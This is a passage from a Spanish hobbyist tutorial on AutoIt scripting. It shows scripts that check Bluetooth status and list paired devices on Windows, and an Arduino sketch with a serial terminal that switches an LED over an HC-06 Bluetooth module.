**EndFunc**  **Func** Terminate()  **Exit** 0  **EndFunc** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

- Añade un HotKeySet para salir de la aplicación.

- En este mensaje del foro tienes un script similar: Mouse\_UDF.zip :

- <https://www.autoitscript.com/forum/topic/155469-autoit-powered-mouse-events-_mouse_udf/>

- Fíjate en estas líneas del código:

#include <GUIConstantsEx.au3>  
#include "\_Mouse\_UDF.au3"

- **<------->** significa que esa librería está en la carpeta **Include** de donde instalastes el AutoIt

- **".........."** significa que esa librería está en la misma carpeta en la que se encuentra el Script.

**60.- Bluetooth.**

- Vamos a conectar el ordenador por Bluetooth con un Arduino, NodeMCU y con el móvil mediante una aplicación en App Inventor.

-Si tienes un portátil probablemente ya tendrá Bluetooth. Si tienes un ordenador sin Bluetooth, puedes comprar lo que se denomina un "dongle" bluetooth, tiene un forma parecida a una memoria USB, pero es un emisor/receptor de Bluetooth, en Aliexpress lo puedes encontrar por menos de dos euros.

- Una vez que disponga del "dongle", para vincularlo con otro dispositivo te pedirá la clave que suele ser "0000" o "1234"

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
1.- Comprobar si mi ordenador tiene habilitado el Bluetooth.**

- Supongamos que hemos comprado un "dongle" Bluetooth, lo conectamos al ordenador y queremos comprobar mediante una aplicación AutoIt simplemente si el ordenador tiene habilitado el Bluetooth.

- Vamos a este post del foro <https://www.autoitscript.com/forum/topic/139596-bluetooth-detectorswitching-script/>

y lo ejecutamos mediante AutoIt.

- Este Script se basa en la herramienta de Windows **bthprops.cpl**

|  |
| --- |
| **Comprobar si el ordenador tiene habilitado el Bluetooth.** |
| #include <ButtonConstants.au3>  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  **#Region ### START Koda GUI section ### Form=**  $Form1 = GUICreate("Bluetooth Manager."**,** 409**,** 135**,** 192**,** 124)  $Label1 = GUICtrlCreateLabel("Este Script comprueba si el ordenador tiene habilitado el Bluetooth."**,** 8**,** 8**,** 500**,** 17)  $Button1 = GUICtrlCreateButton("Comprueba si el dispositivo esta activado."**,** 8**,** 48**,** 300**,** 25**,** $WS\_GROUP)  $Checkbox1 = GUICtrlCreateCheckbox("Deshabilitar la comprobación de Bluetooth."**,** 16**,** 96**,** 300**,** 17)  $Button2 = GUICtrlCreateButton("Salir"**,** 312**,** 96**,** 75**,** 25**,** $WS\_GROUP)  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  **While** 1  $nMsg = GUIGetMsg()  **Switch** $nMsg  **Case** $GUI\_EVENT\_CLOSE  **Exit**  **Case** $Button1  $RESULT = DllCall("bthprops.cpl"**,** "Bool"**,** "BluetoothEnableIncomingConnections"**,** "Handle"**,** 0**,** "Bool"**,** 1)  **If** $RESULT[0] = 1 **then**  msgbox(64**,** "Mensaje"**,** "El ordenador tiene habilitado la conexión Bluetooth.")  **else**  msgbox(16**,** ""**,** "No se ha encontrado ningún dispositivo Bluetooth del ordenador.")  **EndIf**  **Case** $Checkbox1  **If** BitAND(GUICtrlRead($Checkbox1)**,** $GUI\_CHECKED) **Then**  $RESULT = DllCall("bthprops.cpl"**,** "Bool"**,** "BluetoothEnableDiscovery"**,** "Handle"**,** 0**,** "Bool"**,** 0)  msgbox(64**,** ""**,** "Comprobación deshabilitada.")  **Else**  $RESULT = DllCall("bthprops.cpl"**,** "Bool"**,** "BluetoothEnableDiscovery"**,** "Handle"**,** 0**,** "Bool"**,** 1)  msgbox(64**,** ""**,** "Comprobación habilitada.")  **EndIf**  **Case** $Button2  **Exit**  **EndSwitch**  **WEnd** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
2.- Conocer los Bluetooth que tiene registrado el ordenador.**

- Obtenemos un listado de dispositivos Bluetooth que están vinculados al ordenador, aunque en este momento no estén conectados.

- Es un código obtenido de <https://www.autoitscript.com/forum/topic/142716-bluetooth-finder-tool-find-bluetooth-devices-near-you/>

pero cuidado que en ese código no han puesto las librerías necesarias, en el código que presento sí he añadido las librerías.

|  |  |
| --- | --- |
|  | - Son los mismos dispositivos que obtenemos mediante el Panel de Control de Windows. |

|  |
| --- |
| **Obtener los bluetooth registrados en el ordenador.** |
| #include <WinAPI.au3>  #include <GUIConstantsEx.au3>  #include <MsgBoxConstants.au3>  #include <WindowsConstants.au3>  #include <GuiListView.au3>  #include <GuiStatusBar.au3>  **Local** $phRadio  $hFind = \_BluetoothFindFirstRadio($phRadio)  **If** $hFind = 0 **then**  msgbox(16**,** "Hardware error"**,** "Unable to find compatible Bluetooth radio(s) on this machine.")  \_WinAPI\_CloseHandle($phRadio)  \_BluetoothFindRadioClose($hFind)  **Exit**  **else**  \_WinAPI\_CloseHandle($phRadio)  \_BluetoothFindRadioClose($hFind)  **EndIf**  $Form1 = GUICreate("Bluetooth Finder - by MKISH"**,** 292**,** 394**,** 336**,** 268)  $ListView1 = GUICtrlCreateListView("Device name|Device address|Class of Device"**,** 0**,** 0**,** 290**,** 318**,** -1**,** BitOR($WS\_EX\_CLIENTEDGE**,** \_  $LVS\_EX\_GRIDLINES**,**$LVS\_EX\_FULLROWSELECT))  GUICtrlSendMsg(-1**,** $LVM\_SETCOLUMNWIDTH**,** 0**,** 90)  GUICtrlSendMsg(-1**,** $LVM\_SETCOLUMNWIDTH**,** 1**,** 100)  GUICtrlSendMsg(-1**,** $LVM\_SETCOLUMNWIDTH**,** 2**,** 90)  $StatusBar1 = \_GUICtrlStatusBar\_Create($Form1)  **Dim** $StatusBar1\_PartsWidth[2] = [50**,** -1]  \_GUICtrlStatusBar\_SetParts($StatusBar1**,** $StatusBar1\_PartsWidth)  \_GUICtrlStatusBar\_SetText($StatusBar1**,** "Status"**,** 0)  \_GUICtrlStatusBar\_SetText($StatusBar1**,** "Active"**,** 1)  $Button1 = GUICtrlCreateButton("Find new"**,** 16**,** 336**,** 75**,** 25**,** $WS\_GROUP)  $Button3 = GUICtrlCreateButton("Exit"**,** 192**,** 336**,** 75**,** 25**,** $WS\_GROUP)  $Button2 = GUICtrlCreateButton("Go offline"**,** 104**,** 336**,** 75**,** 25**,** $WS\_GROUP)  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  **While** 1  $nMsg = GUIGetMsg()  **Switch** $nMsg  **Case** $GUI\_EVENT\_CLOSE  **Exit**  **Case** $Button3  **Exit**  **Case** $Button2  **If** GUICtrlRead($Button2) = "Go offline" **Then**  $RESULT = DllCall("bthprops.cpl"**,** "Bool"**,** "BluetoothEnableDiscovery"**,** "Handle"**,** 0**,** "Bool"**,** 0)  msgbox(64**,** ""**,** "Discovery Disabled.")  GuiCtrlSetData($Button2**,** "Go online")  **Else**  $RESULT = DllCall("bthprops.cpl"**,** "Bool"**,** "BluetoothEnableDiscovery"**,** "Handle"**,** 0**,** "Bool"**,** 1)  msgbox(64**,** ""**,** "Discovery Enabled.")  GuiCtrlSetData($Button2**,** "Go offline")  **EndIf**  **Case** $Button1  GuiCtrlSetState($Button1**,** $GUI\_DISABLE)  GuiCtrlSetData($Button1**,** "Please Wait...")  \_GUICtrlListView\_DeleteAllItems($ListView1)  \_GUICtrlStatusBar\_SetText($StatusBar1**,** "Finding"**,** 1)  $RESULT = \_BluetoothFindFirstDevice(True)  **If** \_GUICtrlListView\_FindInText($ListView1**,** "" & $RESULT[0]) = "-1" **then**  **If** $RESULT[0] <> "" **then** GuiCtrlCreateListViewItem($RESULT[0] & "|" & Hex($RESULT[1]) & "|" & $RESULT[2]**,** $ListView1)  **EndIf**  $RESULTX = \_BluetoothFindFirstDevice()  **If** \_GUICtrlListView\_FindInText($ListView1**,** "" & $RESULTX[0]) = "-1" **then**  **If** $RESULTX[0] <> "" **then** GuiCtrlCreateListViewItem($RESULTX[0] & "|" & Hex($RESULTX[1]) & "|" & $RESULTX[2]**,** $ListView1)  **EndIf**  \_GUICtrlStatusBar\_SetText($StatusBar1**,** "Currently active"**,** 1)  GuiCtrlSetData($Button1**,** "Find new")  GuiCtrlSetState($Button1**,** $GUI\_ENABLE)  **EndSwitch**  **WEnd**  **Func** \_BluetoothFindFirstDevice($REMEMBER = False)  **Local** $HRESULT[3]**,** $tBLUETOOTH\_DEVICE\_INFO  $tBLUETOOTH\_DEVICE\_SEARCH\_PARAMS = DllStructCreate('DWORD;BOOL;BOOL;BOOL;BOOL;BOOL;BYTE;HANDLE')  DllStructSetData($tBLUETOOTH\_DEVICE\_SEARCH\_PARAMS**,** 1 **,** DllStructGetSize($tBLUETOOTH\_DEVICE\_SEARCH\_PARAMS))  DllStructSetData($tBLUETOOTH\_DEVICE\_SEARCH\_PARAMS**,** 2 **,** False)  DllStructSetData($tBLUETOOTH\_DEVICE\_SEARCH\_PARAMS**,** 3 **,** $REMEMBER)  DllStructSetData($tBLUETOOTH\_DEVICE\_SEARCH\_PARAMS**,** 4 **,** True)  DllStructSetData($tBLUETOOTH\_DEVICE\_SEARCH\_PARAMS**,** 5 **,** True)  DllStructSetData($tBLUETOOTH\_DEVICE\_SEARCH\_PARAMS**,** 6 **,** True)  DllStructSetData($tBLUETOOTH\_DEVICE\_SEARCH\_PARAMS**,** 7 **,** 6)  DllStructSetData($tBLUETOOTH\_DEVICE\_SEARCH\_PARAMS**,** 8 **,** 0)  $tBLUETOOTH\_DEVICE\_INFO = DllStructCreate('DWORD;UINT64;ULONG;BOOL;BOOL;BOOL;word[8];word[8];WCHAR[248]')  DllStructSetData($tBLUETOOTH\_DEVICE\_INFO**,**1**,**DllStructGetSize($tBLUETOOTH\_DEVICE\_INFO))  $RESULT = DllCall("bthprops.cpl"**,** "handle"**,** "BluetoothFindFirstDevice"**,** "struct\*"**,** $tBLUETOOTH\_DEVICE\_SEARCH\_PARAMS**,** \_  "struct\*"**,** $tBLUETOOTH\_DEVICE\_INFO)  $HRESULT[0] = DllStructGetData($tBLUETOOTH\_DEVICE\_INFO**,** 9)  $HRESULT[1] = DllStructGetData($tBLUETOOTH\_DEVICE\_INFO**,** 2)  $HRESULT[2] = DllStructGetData($tBLUETOOTH\_DEVICE\_INFO**,** 3)  **Do**  $ULTRA = \_BluetoothFindNextDevice($RESULT[0])  **until** $ULTRA = "0"  Return $HRESULT  **EndFunc**  **Func** \_DelItem()  **If** GuiCtrlGetState($ListView1)<>0 **then**  \_GUICtrlListView\_DeleteItemsSelected($ListView1)  **EndIf**  **EndFunc**  **Func** \_BluetoothFindFirstRadio(ByRef $phRadio)  $tBLUETOOTH\_FIND\_RADIO\_PARAMS = DllStructCreate('DWORD')  DllStructSetData($tBLUETOOTH\_FIND\_RADIO\_PARAMS**,** 1 **,** DllStructGetSize($tBLUETOOTH\_FIND\_RADIO\_PARAMS))  $aResult = DllCall("bthprops.cpl"**,** "handle"**,** "BluetoothFindFirstRadio"**,** "struct\*"**,** \_  $tBLUETOOTH\_FIND\_RADIO\_PARAMS**,** "handle\*"**,** 0)    **If** @error **Then** Return SetError(2**,** @error**,** 0)  $phRadio = $aResult[2]  Return SetError($aResult[0] = 0**,** 0**,** $aResult[0])  **EndFunc**  **Func** \_BluetoothFindRadioClose($hBtFind)  **Local** $aResult = DllCall("bthprops.cpl"**,** "bool"**,** "BluetoothFindRadioClose"**,** "handle"**,** $hBtFind)  **If** @error **Then** Return SetError(2**,** @error**,** 0)  Return SetError($aResult[0] = 0**,** 0**,** $aResult[0])  **EndFunc**  **Func** \_BluetoothFindNextDevice($HANDLE)  $t1BLUETOOTH\_DEVICE\_INFO = DllStructCreate('DWORD;UINT64;ULONG;BOOL;BOOL;BOOL;word[8];word[8];WCHAR[248]')  $RESULTX = DllCall("bthprops.cpl"**,** "Bool"**,** "BluetoothFindNextDevice"**,** "handle"**,** $HANDLE**,** "struct\*"**,** $t1BLUETOOTH\_DEVICE\_INFO)  **If** \_GUICtrlListView\_FindInText($ListView1**,** "" & DllStructGetData($t1BLUETOOTH\_DEVICE\_INFO**,** 9)) = "-1" **then**  **If** DllStructGetData($t1BLUETOOTH\_DEVICE\_INFO**,** 9) <> "" **then** GuiCtrlCreateListViewItem(DllStructGetData($t1BLUETOOTH\_DEVICE\_INFO**,** 9) & \_  "|" & Hex(DllStructGetData($t1BLUETOOTH\_DEVICE\_INFO**,** 2)) & "|" & DllStructGetData($t1BLUETOOTH\_DEVICE\_INFO**,** 3)**,** $ListView1)  **EndIf**  Return $RESULTX[0]  **EndFunc** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

-

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**62.- Bluetooth y Arduino mediante AutoIt.**

- Vamos a ejecutar una aplicación en AutoIt que se conectará a un módulo Bluetootd de Arduino, de manera que desde el ordenador podamos encender y apagar un LED de Arduino enviando la información por Bluetooth.

- Suponemos que el ordenador tiene conexión Bluetooth interna, como en el caso de los portátiles o mediante un "dongle" bluetooth, como mencioné en el tutorial anterior.

- También suponemos que ese dispositivo bluetooth del ordenador tiene sus controladores instalados correctamente.

|  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| **\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 1.- Conexión del Arduino y el módulo Bluetooth HC-06.**  - Esto ya lo hemos visto en varios tutoriales: [**9bluetootharduino.htm**](http://kio4.com/appinventor/9bluetootharduino.htm)  **- Forma de conectarlo.**   |  |  | | --- | --- | | **Módulo Bluetooh** | **Arduino** | | VCC | 5 V | | GND | GND | | TXD | RX (es la conexión 0 del Arduino) | | RXD | TX (es la conexión 1 del Arduino) |   - Fíjate que el **TXD va con el RX y que el RXD va con el TX**  - En el momento de alimentarlo con los 5V, el LED del módulo bluetooth parpadeará.  - Podemos poner un LED en el terminal 12 y otro en el 13, pero para facilitar el montaje, vamos a utilizarlo solamente con el LED13 que tiene el Arduino en su placa, así que no es necesario ponerle LED externos. |  |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
2.- Controlador del Bluetooth en el ordenador.**

- En el ordenador vamos al **Administrador de dispositivos**, debemos observar algo así:

- El "dongle" bluetooth USB está actuando como un puerto COM, más bien como varios puertos COM según observas en la figura superior.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
3.- Código del Arduino.**

- Este código prepara el puerto Serie (terminales 0 y 1, donde está conectado el módulo bluetooth) para trasmitir/recibir información a 9600 baudios.

- Si no quieres poner un LED en el terminal 12 y otro en el terminal 13, haz las pruebas solamente con el LED13 que tiene el Arduino en su placa.

- Cuando recibe un 0 o un 1, apaga/enciende un LED conectado al pin12 del Arduino.

- Cuando recibe **un 2 o un 3, apaga/enciende el LED13 del Arduino.**

- Podemos hacer pruebas visualizando solamente el LED13 del Arduino que está integrado en su placa, por lo cual no sería necesario poner más LED.

- NOTA: cuando vayas a cargar el programa en el Arduino, desconecta la alimentación del módulo bluetooth.

|  |
| --- |
| **bluetooth\_autoit.ino** |
| **// Juan Antonio Villalpando**  **// juana1991@yahoo.com**  **// kio4.com**  char val**;**  int ledPin12 = 12**;**  int ledPin13 = 13**;**  void setup**()** **{**  Serial**.**begin**(**9600**);** **// Aqui establecemos la velocidad**  pinMode**(**ledPin12**,** OUTPUT**);**  pinMode**(**ledPin13**,** OUTPUT**);**  **}**  void loop**()** **{**  **if(** Serial**.**available**()** **)**  val = Serial**.**read**();**  **if(** val == '0' **)**  **{**  digitalWrite**(**ledPin12**,** LOW**);**  **}**  **if(** val == '1' **)**  **{**  digitalWrite**(**ledPin12**,** HIGH**);**  **}**  **if(** val == '2' **)**  **{**  digitalWrite**(**ledPin13**,** LOW**);**  **}**  **if(** val == '3' **)**  **{**  digitalWrite**(**ledPin13**,** HIGH**);**  **}**  **}** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
4.- Código de AutoIt.**

- Lo obtenemos de:  
  
<https://www.autoitscript.com/forum/topic/183106-question-regarding-serial-coms/#comment-1314735>

- Son necesarias las librerías:

[CommMG.au3](https://www.autoitscript.com/forum/applications/core/interface/file/attachment.php?id=48374)

[commg.dll](https://www.autoitscript.com/forum/applications/core/interface/file/attachment.php?id=48375)

- Que las puedes obtener de aquí:  
  
<https://www.autoitscript.com/forum/topic/177095-windows-10-problem-with-commmgau3-serial-send-to-arduino/>

- El archivo **CommMG.au3** lo copias en la carpeta **Include** de donde tengas instalado el AutoIt, por ejemplo: **C:\Program Files (x86)\AutoIt3\Include**

- El archivo **commg.dll** lo copias en la misma carpeta en la que vas a guardar el siguiente Script:

|  |
| --- |
| **bluetooth\_autoit\_arduino.au3** |
| **;Example program showing how to use some of the commMg3.au3 UDF functions**  **;this example is a very simple terminal**  **;Version 2 26th July 2006**  **;changes-**  **;change flow control checkbox to combo and add NONE**  **;correct error in call to \_CommSetPort - stop bits were missing which meant th eflow control was used for stop bits**  **;Dec 2013 - correct setting of Parity and flow, thanks to MichaelXMike**  #include <GUIConstants.au3>  #include <CommMG.au3>**;or if you save the commMg.dll in the @scripdir use #include @SciptDir & '\commmg.dll'**  #include <GuiEdit.au3>  #include <GuiComboBox.au3>  #include <windowsconstants.au3>  #include <buttonconstants.au3>  #include <Array.au3>  Opt("WINTITLEMATCHMODE"**,** 3)  **;Opt("OnExitFunc","alldone")**  HotKeySet("{ESC}"**,** "alldone")  $result = ''**;used for any returned error message setting port**  **Const** $settitle = "COMMG listExample - set Port"**,** $maintitle = "COMMG Example"  $setflow = 2**;default to no flow control**  **Dim** $FlowType[3] = ["Hardware (RTS, CTS)"**,** "XOnXoff"**,** "NONE"]  **Dim** $ParityType[5] = ["odd"**,** "even"**,** "none"**,** "Mark"**,** "Space"]  #region main program  **#Region ### START Koda GUI section ### Form=d:\my documents\miscdelphi\commg\ExampleComm.kxf**  $Form2 = GUICreate("COMMG Example"**,** 473**,** 349**,** 339**,** 333**,** BitOR($WS\_MAXIMIZEBOX**,** $WS\_MINIMIZEBOX**,** $WS\_SIZEBOX**,** $WS\_THICKFRAME**,** $WS\_SYSMENU**,** $WS\_CAPTION**,** \_  $WS\_OVERLAPPEDWINDOW**,** $WS\_TILEDWINDOW**,** $WS\_POPUP**,** $WS\_POPUPWINDOW**,** $WS\_GROUP**,** $WS\_TABSTOP**,** $WS\_BORDER**,** $WS\_CLIPSIBLINGS))  $Edit1 = GUICtrlCreateEdit(""**,** 10**,** 25**,** 449**,** 223**,** BitOR($ES\_AUTOVSCROLL**,** $ES\_AUTOHSCROLL**,** $ES\_READONLY**,** $ES\_WANTRETURN**,** $WS\_HSCROLL**,** $WS\_VSCROLL))  $BtnSend = GUICtrlCreateButton("Send"**,** 380**,** 273**,** 53**,** 30**,** $BS\_FLAT)  $Input1 = GUICtrlCreateInput(""**,** 18**,** 279**,** 361**,** 21)  $Checkbox1 = GUICtrlCreateCheckbox("Add LF to incomming CR"**,** 273**,** 4**,** 145**,** 17)  GUICtrlSetState(-1**,** $GUI\_CHECKED)  GUICtrlSetResizing(-1**,** $GUI\_DOCKAUTO)  $Label11 = GUICtrlCreateLabel("Text to send"**,** 24**,** 261**,** 63**,** 17)  $BtnSetPort = GUICtrlCreateButton("Set Port"**,** 16**,** 312**,** 73**,** 30**,** $BS\_FLAT)  $Label21 = GUICtrlCreateLabel("Received text"**,** 34**,** 6**,** 70**,** 17)  $Label31 = GUICtrlCreateLabel("commg.dll version unknown"**,** 272**,** 328**,** 135**,** 17)  GUICtrlSetColor(-1**,** 0x008080)  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  WinSetTitle($Form2**,** ""**,** $maintitle & " UDF = " & \_CommGetVersion(1))  **While** setport(0) = -1  **If** MsgBox(4**,** 'Port not set'**,** 'Do you want to quite the program?') = 6 **Then** **Exit**  **WEnd**  ConsoleWrite("stage 1" & @CRLF)  GUICtrlSetData($Label31**,** 'using ' & \_CommGetVersion(1))  ConsoleWrite("stage 2" & @CRLF)  Events()  ConsoleWrite("at 64" & @CRLF)  \_CommSetXonXoffProperties(11**,** 13**,** 100**,** 100)  **;consolewrite("return from set timeouts = " & \_CommSetTimeouts(5,5,5,5,5) & @CR)**  GUICtrlSetState($Edit1**,** $GUI\_FOCUS)  ConsoleWrite("at 67" & @CRLF)  **While** 1  **;sleep(40)**  **;gets characters received returning when one of these conditions is met:**  **;receive @CR, received 20 characters or 200ms has elapsed**  $instr = \_commGetLine(@CR**,** 20**,** 200)**;\_CommGetString()**  **If** $instr <> '' **Then;if we got something**  **If** GUICtrlRead($Checkbox1) = $GUI\_CHECKED **Then** $instr = StringReplace($instr**,** @CR**,** @CRLF)  FileWrite(@ScriptDIr & "/Data.txt"**,** $instr)  GUICtrlSetData($Edit1**,** $instr**,** 1)  **Else**  Sleep(20) **;MichaelXMike**  **EndIf**  **WEnd**  Alldone()  **Func** port11()  **;MsgBox(0,'now set to channel',\_CommSwitch(2))**  \_commSwitch(2)  $s2 = "1 2 3 4"**;\_CommGetString()**  ConsoleWrite("comm1 gets " & $s2 & @CRLF)  \_CommSendString($s2)  \_CommSwitch(1)  **EndFunc** **;==>port11**  #endregion main program  **Func** Events()  Opt("GUIOnEventMode"**,** 1)  GUISetOnEvent($GUI\_EVENT\_CLOSE**,** "justgo")  GUICtrlSetOnEvent($BtnSend**,** "SendEvent")  GUICtrlSetOnEvent($BtnSetPort**,** "SetPortEvent")  **EndFunc** **;==>Events**  **Func** SetPortEvent()  setport()**;needed because a parameter is optional for setport so we can't use "setport" for the event**  GUICtrlSetState($Edit1**,** $GUI\_FOCUS)  **EndFunc** **;==>SetPortEvent**  **Func** justgo()  **Exit**  **EndFunc** **;==>justgo**  **Func** SendEvent()**;send the text in the inputand append CR**  \_CommSendstring(GUICtrlRead($Input1) & @CR)  GUICtrlSetData($Input1**,** '')**;clear the input**  **;GUICtrlSetState($edit1,$GUI\_FOCUS);sets the caret back in the terminal screen**  **EndFunc** **;==>SendEvent**  **Func** AllDone()  **;MsgBox(0,'will close ports','')**  \_Commcloseport(true)  **;MsgBox(0,'port closed','')**  **Exit**  **EndFunc** **;==>AllDone**  **; Function SetPort($mode=1)**  **; Creates a form for the port settings**  **;Parameter $mode sets the return value depending on whether the port was set**  **;Returns 0 if $mode <> 1**  **; -1 If` the port not set and $mode is 1**  **Func** SetPort($mode = 1)**;if $mode = 1 then returns -1 if settings not made**  **Local** $sportSetError  Opt("GUIOnEventMode"**,** 0)**;keep events for $Form2, use GuiGetMsg for $Form3**  **#Region ### START Koda GUI section ### Form=d:\my documents\miscdelphi\commg\examplecommsetport.kxf**  $Form3 = GUICreate("COMMG Example - set Port"**,** 422**,** 279**,** 329**,** 268**,** BitOR($WS\_MINIMIZEBOX**,** $WS\_CAPTION**,** $WS\_POPUP**,** $WS\_GROUP**,** $WS\_BORDER**,** $WS\_CLIPSIBLINGS**,** \_  $DS\_MODALFRAME)**,** BitOR($WS\_EX\_TOPMOST**,** $WS\_EX\_WINDOWEDGE))  $Group1 = GUICtrlCreateGroup("Set COM Port"**,** 18**,** 8**,** 288**,** 252)  $CmboPortsAvailable = GUICtrlCreateCombo(""**,** 127**,** 28**,** 145**,** 25**,** BitOR($GUI\_SS\_DEFAULT\_COMBO**,** $CBS\_SORT))  $CmBoBaud = GUICtrlCreateCombo("9600"**,** 127**,** 66**,** 145**,** 25**,** BitOR($CBS\_DROPDOWN**,** $CBS\_AUTOHSCROLL**,** $CBS\_SORT**,** $WS\_VSCROLL))  GUICtrlSetData(-1**,** "10400|110|115200|1200|128000|14400|150|15625|1800|19200|2000|2400|256000|28800|38400|3600|38400|4800|50|56000|57600|600|7200|75")  $CmBoStop = GUICtrlCreateCombo("1"**,** 127**,** 141**,** 145**,** 25)  GUICtrlSetData(-1**,** "1|2|1.5")  $CmBoParity = GUICtrlCreateCombo(""**,** 127**,** 178**,** 145**,** 25)  GUICtrlSetData(-1**,** "odd|even|none|Mark|Space")  GUICtrlSetData(-1**,** "none")  $Label2 = GUICtrlCreateLabel("Port"**,** 94**,** 32**,** 23**,** 17)  $Label3 = GUICtrlCreateLabel("baud"**,** 89**,** 70**,** 28**,** 17)  $Label4 = GUICtrlCreateLabel("No. Stop bits"**,** 52**,** 145**,** 65**,** 17)  $Label5 = GUICtrlCreateLabel("parity"**,** 88**,** 182**,** 29**,** 17)  $CmboDataBits = GUICtrlCreateCombo("8"**,** 127**,** 103**,** 145**,** 25)  GUICtrlSetData(-1**,** "7|8")  $Label7 = GUICtrlCreateLabel("No. of Data Bits"**,** 38**,** 107**,** 79**,** 17)  $ComboFlow = GUICtrlCreateCombo("NONE"**,** 127**,** 216**,** 145**,** 25)  GUICtrlSetData(-1**,** "NONE|XOnXOff|Hardware (RTS, CTS)")  $Label1 = GUICtrlCreateLabel("flow control"**,** 59**,** 220**,** 58**,** 17)  GUICtrlCreateGroup(""**,** -99**,** -99**,** 1**,** 1)  $BtnApply = GUICtrlCreateButton("Apply"**,** 315**,** 95**,** 75**,** 35**,** $BS\_FLAT)  GUICtrlSetFont(-1**,** 12**,** 400**,** 0**,** "MS Sans Serif")  $BtnCancel = GUICtrlCreateButton("Cancel"**,** 316**,** 147**,** 76**,** 35**,** $BS\_FLAT)  GUICtrlSetFont(-1**,** 12**,** 400**,** 0**,** "MS Sans Serif")  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  WinSetTitle($Form3**,** ""**,** $settitle)**;ensure a change to Koda design doesn't stop script working**  $mainxy = WinGetPos($Form2)  WinMove($Form3**,** ""**,** $mainxy[0] + 20**,** $mainxy[1] + 20)  $portlist = \_CommListPorts(0)**;find the available COM ports and write them into the ports combo**  **If** @error = 1 **Then**  MsgBox(0**,** 'trouble getting portlist'**,** 'Program will terminate!')  **Exit**  **EndIf**  **For** $pl = 1 **To** $portlist[0]  $portnum = StringReplace($portlist[$pl]**,** "COM"**,** '')  **if** StringLen($portnum) = 1 **then** $portnum = ' ' & $portnum  $portlist[$pl] = 'COM' & $portnum  GUICtrlSetData($CmboPortsAvailable**,** $portlist[$pl])**;\_CommListPorts())**  **Next**  GUICtrlSetData($CmboPortsAvailable**,** $portlist[1])**;show the first port found**  GUICtrlSetData($ComboFlow**,** $FlowType[$setflow])  \_GUICtrlComboBox\_SetMinVisible($CmBoBaud**,** 10)**;restrict the length of the drop-down list**  $retval = 0  **While** 1  $msg = GUIGetMsg()  **If** $msg = $BtnCancel **Then**  **If** Not $mode **Then** $retval = -1  **ExitLoop**  **EndIf**  **If** $msg = $BtnApply **Then**  $comboflowsel = GUICtrlRead($ComboFlow)  **For** $n = 0 **To** 2  **If** $comboflowsel = $FlowType[$n] **Then**  $setflow = $n  ConsoleWrite("flow = " & $setflow & @CRLF)  **ExitLoop**  **EndIf**  **Next**  $setport = StringReplace(GUICtrlRead($CmboPortsAvailable)**,** 'COM'**,** '')  $ParitySel = GUICtrlRead($CmBoParity)  **For** $n = 0 **To** 4  **If** $ParitySel = $ParityType[$n] **Then**  $SetParity = $n  **ExitLoop**  **EndIf**  **Next**  $setStop = StringReplace(GUICtrlRead($CmBoStop)**,** '.'**,** '')**;replace 1.5 with 15 if needed**  $resOpen = \_CommSetPort($setport**,** $sportSetError**,** GUICtrlRead($CmBoBaud)**,** GUICtrlRead($CmboDataBits)**,** $SetParity**,** $setStop**,** $setflow)  **;$resOpen = \_CommSetPort($setPort,$sportSetError,GUICtrlRead($CmBoBaud),GUICtrlRead($CmboDataBits),GUICtrlRead($CmBoParity),GUICtrlRead($CmBoStop),$setFlow)**  **if** $resOpen = 0 **then**  ConsoleWrite($sportSetError & @LF)  **Exit**  **EndIf**  Sleep(1000)  ConsoleWrite('ok' & @CRLF)  **;next**  $mode = 1**;**  **ExitLoop**  **EndIf**  **;stop user switching back to $form2**  **If** WinActive($maintitle) **Then**  ConsoleWrite('main is active' & @CRLF)  **If** WinActivate($settitle) = 0 **Then** MsgBox(0**,** 'not found'**,** $settitle)  **EndIf**  **WEnd**  ConsoleWrite(244 & @CRLF)  GUIDelete($Form3)  ConsoleWrite(247 & @CRLF)  WinActivate($maintitle)  ConsoleWrite(248 & @CRLF)  Events()  Return $retval  **EndFunc** **;==>SetPort** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
5.- Ejecución del Script de AutoIt.**

- Nos saldrá la siguente ventana. Pulsamos en **Set Port**. Debemos elegir el puerto en donde está el "dongle" bluetooth del ordenador. [No confundir con el puerto del IDE de Arduino]

- Será uno de los puertos que vimos en el Administrador de dispositivos. **Vamos probando puertos** hasta lograr que el LED del módulo bluetooth no parpadee.

- En mi caso el LED del módulo bluetooth dejó de parpadear cuando conectó con el puerto **COM29.**

- La velocidad 9600

- Según introduzcamos en el casillero **un 2 o un 3** se apagará/encenderá el LED13 del Arduino.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

- Funciones disponibles del **commmg.au3**

Functions available:

\_CommGetVersion

\_CommListPorts

\_CommSetPort

\_CommPortConnection

\_CommClearOutputBuffer

\_CommClearInputBuffer

